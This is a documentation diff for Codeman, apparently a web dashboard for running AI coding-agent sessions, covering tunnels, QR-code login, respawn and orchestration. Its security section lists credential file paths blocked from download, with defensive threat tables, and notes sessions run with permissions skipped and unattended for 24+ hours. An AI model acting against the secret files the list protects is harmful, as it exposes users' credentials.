-- Auto-trimming buffers (2MB terminal max)
-- Debounced state persistence (500ms)
-- SSE adaptive batching: 16ms (normal), 32ms (moderate), 50ms (rapid); immediate flush at 32KB
-- SSE backpressure handling: skip writes to backpressured clients, recover via `session:needsRefresh` on drain
-- Cached endpoints: `/api/sessions` and `/api/status` use 1s TTL caches to avoid expensive serialization
-- Frontend buffer loads: 128KB chunks via `requestAnimationFrame` to prevent UI jank
+**Memory leaks (24+ hour sessions)**: use `CleanupManager`, clear Maps in `stop()`, guard async with `if (this.cleanup.isStopped) return`. Frontend: store handler refs, clean in `close*()`. Verify: `npm test -- test/memory-leak-prevention.test.ts`.
 
-## Terminal Anti-Flicker System
+## Scripts & Tunnel
 
-Claude Code uses Ink (React for terminals), which redraws the screen on every state change. Codeman implements a 6-layer anti-flicker pipeline for smooth 60fps output:
-
-```
-PTY Output → Server Batching (16-50ms) → DEC 2026 Wrap → SSE → Client rAF → xterm.js
-```
-
-**Key functions:** `server.ts:batchTerminalData()`, `server.ts:flushTerminalBatches()`, `app.js:batchTerminalWrite()`, `app.js:extractSyncSegments()`
-
-**Typical latency:** 16-32ms. Optional per-session flicker filter adds ~50ms for problematic terminals.
-
-See `docs/terminal-anti-flicker.md` for full implementation details (adaptive batching, DEC 2026 markers, edge cases).
-
-## Resource Limits
-
-Limits are centralized in `src/config/buffer-limits.ts` and `src/config/map-limits.ts`.
-
-**Buffer limits** (per session):
-| Buffer | Max | Trim To |
-|--------|-----|---------|
-| Terminal | 2MB | 1.5MB |
-| Text output | 1MB | 768KB |
-| Messages | 1000 | 800 |
-
-**Map limits** (global):
-| Resource | Max |
-|----------|-----|
-| Tracked agents | 500 |
-| Concurrent sessions | 50 |
-| SSE clients total | 100 |
-| File watchers | 500 |
-
-Use `LRUMap` for bounded caches with eviction, `StaleExpirationMap` for TTL-based cleanup.

-## Memory Leak Prevention
-
-Frontend runs long (24+ hour sessions); all Maps/timers must be cleaned up.
-
-### Cleanup Patterns
-When adding new event listeners or timers:
-1. Store handler references for later removal
-2. Add cleanup to appropriate `stop()` or `cleanup*()` method
-3. For singleton watchers, store refs in class properties and remove in server `stop()`
-
-**Backend**: Clear Maps in `stop()`, null promise callbacks on error, remove watcher listeners on shutdown. Use `CleanupManager` for centralized disposal — supports timers, intervals, watchers, listeners, streams. Guard async callbacks with `if (this.cleanup.isStopped) return`.
-
-**Frontend**: Store drag/resize handlers on elements, clean up in `close*()` functions. SSE reconnect calls `handleInit()` which resets state. SSE listeners are tracked in an array and removed on reconnect to prevent accumulation.
-
-Run `npx vitest run test/memory-leak-prevention.test.ts` to verify patterns.
-
-## Common Workflows
-
-**Investigating a bug**: Start dev server (`npx tsx src/index.ts web`), reproduce in browser, check terminal output and `~/.codeman/state.json` for clues.
-
-**Adding a new API endpoint**: Define types in `types.ts`, add route in `server.ts:buildServer()`, broadcast SSE events if needed, handle in `app.js:handleSSEEvent()`.
-
-**Modifying respawn behavior**: Study `docs/respawn-state-machine.md` first. The state machine is in `respawn-controller.ts`. Use MockSession from `test/respawn-test-utils.ts` for testing.
-
-**Modifying mobile behavior**: Mobile singletons (`MobileDetection`, `KeyboardHandler`, `SwipeHandler`, `KeyboardAccessoryBar`) all have `init()`/`cleanup()` lifecycle. KeyboardHandler uses `visualViewport` API for iOS keyboard detection (100px threshold for address bar drift). All mobile handlers are re-initialized after SSE reconnect to prevent stale closures.
-
-**Adding a file watcher**: Use `ImageWatcher` as a template pattern — chokidar with `awaitWriteFinish`, burst throttling (max 20/10s), debouncing (200ms), and auto-ignore of `node_modules/.git/dist/`.
-
-## Tunnel Setup (Remote Access)
-
-Access Codeman from mobile/remote devices via Cloudflare quick tunnel.
-
-```
-Browser → Cloudflare Edge (HTTPS) → cloudflared → localhost:3000
-```
-
-**Prerequisites**: `cloudflared` installed (`cloudflared --version`), `CODEMAN_PASSWORD` set in environment.
-
-### Quick Start
-
-```bash
-# Via CLI
-./scripts/tunnel.sh start      # Start tunnel, prints public URL
-./scripts/tunnel.sh url        # Show current URL
-./scripts/tunnel.sh stop       # Stop tunnel
-
-# Via web UI: Settings → Tunnel → Toggle On
-```
-
-### systemd Service (Persistent)
-
-```bash
-# Install and enable
-cp scripts/codeman-tunnel.service ~/.config/systemd/user/
-systemctl --user daemon-reload
-systemctl --user enable --now codeman-tunnel
-
-# Check logs
-journalctl --user -u codeman-tunnel -f
-```
-
-### Auth Flow
-
-1. First request → browser shows Basic Auth prompt (username: `admin` or `CODEMAN_USERNAME`)
-2. On success → server issues `codeman_session` HttpOnly cookie (24h TTL, auto-extends on activity)
-3. Subsequent requests → cookie authenticates silently (no more prompts)
-4. SSE works automatically — `EventSource` sends same-origin cookies
-5. 10 failed attempts per IP → 429 rate limit (15-minute decay)
-
-### Security Requirements
-
-- **Always set `CODEMAN_PASSWORD`** before exposing via tunnel — without it, anyone with the URL has full access
-- Session cookies are `Secure` when using `--https` flag; through Cloudflare tunnel without `--https`, cookies are non-Secure but traffic is still encrypted end-to-end via Cloudflare
-- `/api/hook-event` bypasses auth (localhost-only Claude Code hooks need unauthenticated access)
+Key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh start|stop|url` (tunnel). Production services: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.

+### Secure QR Code Authentication
+
+Typing passwords on a phone keyboard is miserable. Codeman replaces it with **cryptographically secure single-use QR tokens** — scan the code displayed on your desktop and your phone is authenticated instantly.
+
+Each QR encodes a URL containing a 6-character short code that maps to a 256-bit secret (`crypto.randomBytes(32)`) on the server. Tokens auto-rotate every **60 seconds**, are **atomically consumed on first scan** (replays always fail), and use **hash-based `Map.get()` lookup** that leaks nothing through response timing. The short code is an opaque pointer — the real secret never appears in browser history, `Referer` headers, or Cloudflare edge logs.
+
+The security design addresses all 6 critical QR auth flaws identified in ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) (USENIX Security 2025, which found 47 of the top-100 websites vulnerable): single-use enforcement, short TTL, cryptographic randomness, server-side generation, real-time desktop notification on scan (QRLjacking detection), and IP + User-Agent session binding with manual revocation. Dual-layer rate limiting (per-IP + global) makes brute force infeasible across 62^6 = 56.8 billion possible codes. Full security analysis: [`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)

 - **Keyboard accessory bar** — `/init`, `/clear`, `/compact` quick-action buttons above the virtual keyboard. Destructive commands (`/clear`, `/compact`) require a double-press to confirm — first tap arms the button, second tap executes — so you never fire one by accident on a bumpy commute

 When accessing your coding agent remotely (VPN, Tailscale, SSH tunnel), every keystroke normally takes 200-300ms to round-trip. Codeman implements a **Mosh-inspired local echo system** that makes typing feel instant regardless of latency.
 
 A pixel-perfect DOM overlay inside xterm.js renders keystrokes at 0ms. Background forwarding silently sends every character to the PTY in 50ms debounced batches, so Tab completion, `Ctrl+R` history search, and all shell features work normally. When the server echo arrives 200-300ms later, the overlay seamlessly disappears and the real terminal text takes over — the transition is invisible.

+- **Auto-resume on usage limit** *(opt-in, off by default)* — when Claude halts on a subscription limit ("You've hit your limit · resets 3pm"), Codeman parses the reset time, waits it out plus a 2-minute safety buffer, then dismisses the rate-limit dialog and sends `continue` — so an overnight run survives the 5-hour window instead of stalling until morning.

+## Orchestrator Loop
+
+Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
+
+- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
+- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
+- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
+- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts

+- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
+- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
+- **Image input** — paste or drag-and-drop images straight into a session
+- **Gesture control** *(opt-in)* — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
+- **Multi-monitor span** *(macOS)* — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam
+- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
+- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous

+## Remote Access — Cloudflare Tunnel
+
+Access Codeman from your phone or any device outside your local network using a free [Cloudflare quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) — no port forwarding, no DNS, no static IP required.
+
+```
+Browser (phone/tablet) → Cloudflare Edge (HTTPS) → cloudflared → localhost:3000
+```
+
+**Prerequisites:** Install [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) and set `CODEMAN_PASSWORD` in your environment.
+
+```bash
+# Quick start
+./scripts/tunnel.sh start      # Start tunnel, prints public URL
+./scripts/tunnel.sh url        # Show current URL
+./scripts/tunnel.sh stop       # Stop tunnel
+./scripts/tunnel.sh status     # Service status + URL
+```
+
+The script auto-installs a systemd user service on first run. The tunnel URL is a randomly generated `*.trycloudflare.com` address that changes each time the tunnel restarts.
+
+<details>
+<summary><strong>Persistent tunnel (survives reboots)</strong></summary>
+
+```bash
+# Enable as a persistent service
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+
+# Or via the Codeman web UI: Settings → Tunnel → Toggle On
+```
+
+</details>
+
+<details>
+<summary><strong>Authentication</strong></summary>
+
+1. First request → browser shows Basic Auth prompt (username: `admin` or `CODEMAN_USERNAME`)
+2. On success → server issues a `codeman_session` cookie (24h TTL, auto-extends on activity)
+3. Subsequent requests authenticate silently via cookie
+4. 10 failed attempts per IP → 429 rate limit (15-minute decay)
+
+**Always set `CODEMAN_PASSWORD`** before exposing via tunnel — without it, anyone with the URL has full access to your sessions.
+
+</details>
+
+### QR Code Authentication
+
+Typing a password on a phone keyboard is terrible. Codeman solves this with **ephemeral single-use QR tokens** — scan the code on your desktop, and your phone is instantly authenticated. No password prompt, no typing, no clipboard.
+
+```
+Desktop displays QR  →  Phone scans  →  GET /q/Xk9mQ3  →  Server validates
+→  Token atomically consumed (single-use)  →  Session cookie issued  →  302 to /
+→  Desktop notified: "Device authenticated via QR"  →  New QR auto-generated
+```
+
+Someone who only has the bare tunnel URL (without the QR) still hits the standard password prompt. The QR is the fast path; the password is the fallback.
+
+#### How It Works
+
+The server maintains a rotating pool of short-lived, single-use tokens. Each token consists of a 256-bit secret (`crypto.randomBytes(32)`) paired with a 6-character base62 short code used as an opaque lookup key in the URL path. The QR code encodes a URL like `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` — the short code is a pointer, not the secret itself, so it never leaks through browser history, `Referer` headers, or Cloudflare edge logs.
+
+Every **60 seconds**, the server automatically rotates to a fresh token. The previous token remains valid for a **90-second grace period** to handle the race where you scan right as rotation happens — after that, it's dead. Each token is **single-use**: the moment a phone successfully scans it, the token is atomically consumed and a new one is immediately generated for the desktop display.
+
+#### Security Design
+
+The design is informed by ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) (USENIX Security 2025), which found 47 of the top-100 websites vulnerable to QR auth attacks due to 6 critical design flaws across 42 CVEs. Codeman addresses all six:
+
+| USENIX Flaw | Mitigation |
+|-------------|------------|
+| **Flaw-1**: Missing single-use enforcement | Token atomically consumed on first scan — replays always fail |
+| **Flaw-2**: Long-lived tokens | 60s TTL with 90s grace, auto-rotation via timer |
+| **Flaw-3**: Predictable token generation | `crypto.randomBytes(32)` — 256-bit entropy. Short codes use rejection sampling to eliminate modulo bias |
+| **Flaw-4**: Client-side token generation | Server-side only — tokens never leave the server until embedded in the QR |
+| **Flaw-5**: Missing status notification | Desktop toast: *"Device [IP] authenticated via QR (Safari). Not you? [Revoke]"* — real-time QRLjacking detection |
+| **Flaw-6**: Inadequate session binding | IP + User-Agent stored for audit. Manual session revocation via API. HttpOnly + Secure + SameSite=lax cookies |
+
+#### Timing-Safe Lookup
+
+Short codes are stored in a `Map<shortCode, TokenRecord>`. Validation uses `Map.get()` — a hash-based O(1) lookup that reveals nothing about the target string through response timing. There is no character-by-character string comparison anywhere in the hot path, eliminating timing side-channel attacks entirely.
+
+#### Rate Limiting (Dual Layer)
+
+QR auth has its own rate limiting, completely independent from password auth:
+
+- **Per-IP**: 10 failed QR attempts per IP trigger a 429 block (15-minute decay window) — separate counter from Basic Auth failures, so a fat-fingered password doesn't burn your QR budget
+- **Global**: 30 QR attempts per minute across all IPs combined — defends against distributed brute force. With 62^6 = 56.8 billion possible short codes and only ~2 valid at any time, brute force is computationally infeasible regardless
+
+#### QR Code Size Optimization
+
+The URL is kept deliberately short (`/q/` path + 6-char code = ~53-56 total characters) to target **QR Version 4** (33x33 modules) instead of Version 5 (37x37). Smaller QR codes scan faster on budget phones — modern devices read Version 4 in 100-300ms. The `/q/` prefix saves 7 bytes compared to `/qr-auth/`, which alone is the difference between QR versions.
+
+#### Desktop Experience
+
+The QR display auto-refreshes every 60 seconds via SSE with the SVG embedded directly in the event payload (~2-5KB) — no extra HTTP fetch, sub-50ms refresh. A countdown timer shows time remaining. A "Regenerate" button instantly invalidates all existing tokens and creates a fresh one (useful if you suspect the QR was photographed).
+
+When someone authenticates via QR, the desktop shows a notification toast with the device's IP and browser — if it wasn't you, one click revokes all sessions.
+
+#### Threat Coverage
+
+| Threat | Why it doesn't work |
+|--------|-------------------|
+| **QR screenshot shared** | Single-use: consumed on first scan. 60s TTL: expired before the attacker can act. Desktop notification alerts you immediately. |
+| **Replay attack** | Atomic single-use consumption + 60s TTL. Old URLs always return 401. |
+| **Cloudflare edge logs** | Short code is an opaque 6-char lookup key, not the real 256-bit token. Single-use means replaying from logs always fails. |
+| **Brute force** | 56.8 billion combinations, ~2 valid at any time, dual-layer rate limiting blocks well before statistical feasibility. |
+| **QRLjacking** | 60s rotation forces real-time relay. Desktop toast provides instant detection. Self-hosted single-user context makes phishing implausible. |
+| **Timing attack** | Hash-based Map lookup — no string comparison timing leak. |
+| **Session cookie theft** | HttpOnly + Secure + SameSite=lax + 24h TTL. Manual revocation at `POST /api/auth/revoke`. |
+
+#### How It Compares
+
+| Platform | Model | Comparison |
+|----------|-------|------------|
+| **Discord** | Long-lived token, no confirmation, [repeatedly exploited](https://owasp.org/www-community/attacks/Qrljacking) | Codeman: single-use + TTL + notification |
+| **WhatsApp Web** | Phone confirms "Link device?", ~60s rotation | Comparable rotation; WhatsApp adds explicit confirmation (acceptable tradeoff for single-user) |
+| **Signal** | Ephemeral public key, E2E encrypted channel | Stronger crypto, but [exploited by Russian state actors in 2025](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger) via social engineering despite it |

+
+## Security
+
+Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control *who* that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md). **Found a vulnerability?** See [`SECURITY.md`](SECURITY.md) for private disclosure and the list of known limitations.
+
+### Network & access
+
+- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
+- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
+- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers *immediately* even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
+
+### Always-on browser hardening (v0.9.5)
+
+These run for **every** request — before auth, even on the default no-password loopback install:
+
+- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
+- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A *missing* Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
+- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
+- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
+- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
+
+### Input, files & headers
+
+- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env-prefix allowlist gates which settings each CLI can receive
+- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
+- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
+
+### Supply chain & isolation
+
+- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
+- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
+
+> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).

+### 安全的二维码认证
+
+在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码，手机即刻完成认证。
+
+每个二维码编码的是一个包含 6 字符短码的 URL，该短码在服务端映射到一个 256 位密钥（`crypto.randomBytes(32)`）。令牌每 **60 秒**自动轮换，**首次扫描即原子性消费**（重放永远失败），并采用**基于哈希的 `Map.get()` 查找**，不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
+
+该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025，该研究发现 Top-100 网站中有 47 个存在漏洞）所指出的全部 6 个关键二维码认证缺陷：强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知（QRLjacking 检测），以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制（按 IP + 全局）使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
+
+### 触控优化界面
+
+- **键盘配件栏** —— 在虚拟键盘上方提供 `/init`、`/clear`、`/compact` 快捷按钮。破坏性命令（`/clear`、`/compact`）需双击确认 —— 第一次点击「上膛」，第二次点击执行 —— 这样在颠簸的通勤路上也不会误触
+- **滑动导航** —— 在终端上左右滑动切换会话（阈值 80px，300ms）
+- **智能键盘处理** —— 键盘弹出时工具栏与终端整体上移（使用 `visualViewport` API，并对 iOS 地址栏漂移设置 100px 阈值）
+- **安全区适配** —— 通过 `env(safe-area-inset-*)` 适配 iPhone 刘海与底部 Home 指示条
+- **44px 触控目标** —— 所有按钮均满足 iOS 人机界面指南的最小尺寸
+- **底部抽屉式 case 选择器** —— 用上滑模态框替代桌面端下拉菜单
+- **原生惯性滚动** —— `-webkit-overflow-scrolling: touch`，丝滑流畅
+
+```bash
+codeman web --https
+# 在手机上打开：https://<你的IP>:3000
+```
+
+> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`，或使用 [Tailscale](https://tailscale.com/)（推荐）—— 它提供私有网络，让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。

+
+## 实时智能体可视化
+
+实时观看后台智能体工作。Codeman 监控智能体活动，将每个智能体显示在一个可拖拽的浮动窗口中，并用「黑客帝国」风格的动态连接线连回父会话。
+
+<p align="center">
+  <img src="docs/images/subagent-spawn.png" alt="子智能体可视化" width="900">
+</p>
+
+- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板，带实时活动日志，逐条展示每一次工具调用、文件读取与进度更新
+- **连接线** —— 用动态绿色线条连接父会话与其子智能体，随智能体的产生与完成实时更新
+- **状态与模型徽标** —— 绿色（活动）、黄色（空闲）、蓝色（已完成）指示，并以 Haiku/Sonnet/Opus 的颜色编码区分模型
+- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化，标签徽标显示「AGENT」或「AGENTS (n)」计数
+- **嵌套智能体** —— 支持 3 层层级（主会话 → 团队成员智能体 → 子-子智能体）
+
+**智能体团队（Agent Teams）** —— 一等公民式支持 Claude Code 原生的多智能体团队（`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`）。`TeamWatcher` 轮询 `~/.claude/teams/`，将团队成员匹配到其主会话，并以实时子智能体窗口呈现，且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时，重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。

+
+## 零延迟输入叠加层
+
+<p align="center">
+  <img src="docs/images/zerolag-demo.gif" alt="Zerolag 演示 —— 本地回显与服务端回显并排对比" width="900">
+</p>
+
+远程访问你的编程智能体时（VPN、Tailscale、SSH 隧道），每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**，无论延迟多高，打字都感觉即时。
+
+xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY，因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时，叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
+
+- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在，完全不受 Ink 持续重绘屏幕的影响（此前两次使用 `terminal.write()` 的尝试都失败了，因为 Ink 会破坏注入的缓冲区内容）
+- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`，使叠加层文本与真实终端输出在视觉上无法区分
+- **完整编辑** —— 退格、重打、粘贴（多字符）、光标跟踪，输入超过终端宽度时多行换行
+- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
+- **默认启用** —— 桌面端与移动端均可用，会话空闲或繁忙时都生效
+
+> 已抽取为独立库：[`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input) —— 见[已发布的包](#已发布的包)。
+
+---
+
+## 重生控制器（Respawn Controller）
+
+自主工作的核心。当智能体进入空闲，重生控制器会检测到，发送继续提示，循环执行上下文管理命令以获得全新上下文，然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
+
+```
+WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
+```
+
+- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
+- **用量限额自动恢复**（*可选，默认关闭*）—— 当 Claude 因订阅用量限额而停止（"You've hit your limit · resets 3pm"）时，Codeman 会解析重置时间，等到限额刷新（外加 2 分钟安全缓冲）后自动关闭限额对话框并发送 `continue`，让通宵任务平稳跨过 5 小时窗口而不是停摆到早晨。可识别 Claude Code 各版本的全部限额消息格式；若仍受限会自动重试；计划在 Codeman 重启后依然生效；暂停期间会阻止重生循环，避免 `/clear` 清掉等待中的对话。在会话 Respawn 标签页顶部按会话启用
+- **熔断器** —— 当 Claude 卡住时防止重生抖动（CLOSED → HALF_OPEN → OPEN 状态，跟踪连续无进展与重复错误）
+- **健康评分** —— 0–100 健康分，分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
+- **内置预设** —— `solo-work`（3s 空闲，60min）、`subagent-workflow`（45s，240min）、`team-lead`（90s，480min）、`ralph-todo`（8s，480min）、`overnight-autonomous`（10s，480min）
+
+---
+
+## 编排器循环（Orchestrator Loop）
+
+超越单会话重生，**编排器**把一个高层目标转化为分阶段计划，并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
+
+- **先规划，后执行** —— 从你的目标生成分阶段计划，并在动手前暂停等待审批；可带反馈拒绝以重新生成
+- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证；失败时编排器会重新规划而非一头扎下去
+- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列，协调超出单会话能力的工作
+- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下，可在重启后存续
+- **可从 UI 或 API 驱动** —— 编排器面板，或 `POST /api/orchestrator/start` → `/approve` → `/status`（共 10 个端点）
+
+> 与 Ralph（单会话自主循环）不同：编排器协调多阶段、多智能体执行。完整设计：[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。
+
+---
+
+## 多会话仪表盘
+
+运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航，以及一键管理。
+
+<p align="center">
+  <img src="docs/screenshots/multi-session-dashboard.png" alt="多会话仪表盘" width="800">
+</p>
+
+### 持久化会话
+
+每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复，具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签，因此智能体不会杀掉自己的会话。
+
+### 主机名感知的窗口标题
+
+在多台主机上运行 Codeman（笔记本、开发机、NAS）？浏览器标签标题是 `codeman:<主机名>`，让你无需点进去就能分辨每个标签对应哪个后端：
+
+```bash
+codeman web                                # codeman:<os.hostname()>
+codeman web --title-hostname dev-box       # codeman:dev-box（用于覆盖嘈杂的主机名）
+```
+
+标题在首字节时就被模板化进所提供的 HTML 中，因此从第一帧绘制起就是正确的，且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式（`⚠️ (N) codeman:<host>`）和操作系统级桌面通知（`codeman:<host>: <事件>`），让系统通知中心里的跨主机提醒也不再含糊。
+
+### 智能 Token 管理
+
+| 阈值 | 动作 | 结果 |
+|-----------|--------|--------|
+| **110k tokens** | 自动 `/compact` | 上下文被摘要，工作继续 |
+| **140k tokens** | 自动 `/clear` | 以 `/init` 全新开始 |
+
+### 通知
+
+当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁，`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
+
+### Ralph / Todo 跟踪
+
+自动检测 Ralph 循环、`<promise>` 标签、TodoWrite 进度（`4/9 complete`）以及迭代计数器（`[5/50]`），并提供实时进度环与已用时间跟踪。
+
+<p align="center">
+  <img src="docs/images/ralph-tracker-8tasks-44percent.png" alt="Ralph 循环跟踪" width="800">
+</p>
+
+### 运行摘要（Run Summary）
+
+点击任意会话标签上的图表图标，即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
+
+### 零闪烁终端
+
+基于终端的 AI 智能体（Claude Code 的 Ink、OpenCode 的 Bubble Tea）会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线，让所有会话都获得平滑的 60fps 输出：
+
+```
+PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js（60fps）
+```
+
+---
+
+## 更多特性
+
+- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新：它会检测最新发行版，自动暂存（stash）脏工作树，并在服务重启期间流式展示构建进度（npm 安装会被报告为不可更新）
+- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode** 或 **Codex**；环境变量前缀自动隔离（`CLAUDE_CODE_*`、`OPENCODE_*` 与 `CODEX_*`）。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Effort 与 Ultracode** —— 设置每会话的默认 effort（`low`–`max`），或启用 **ultracode**（动态多智能体工作流）。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置
+- **语音输入** —— 用 Deepgram Nova-3 口述提示（带 Web Speech API 回退）：切换录音、自动静音停止、实时音量表（`Ctrl+Shift+V`）
+- **图像输入** —— 直接把图片粘贴或拖放进会话
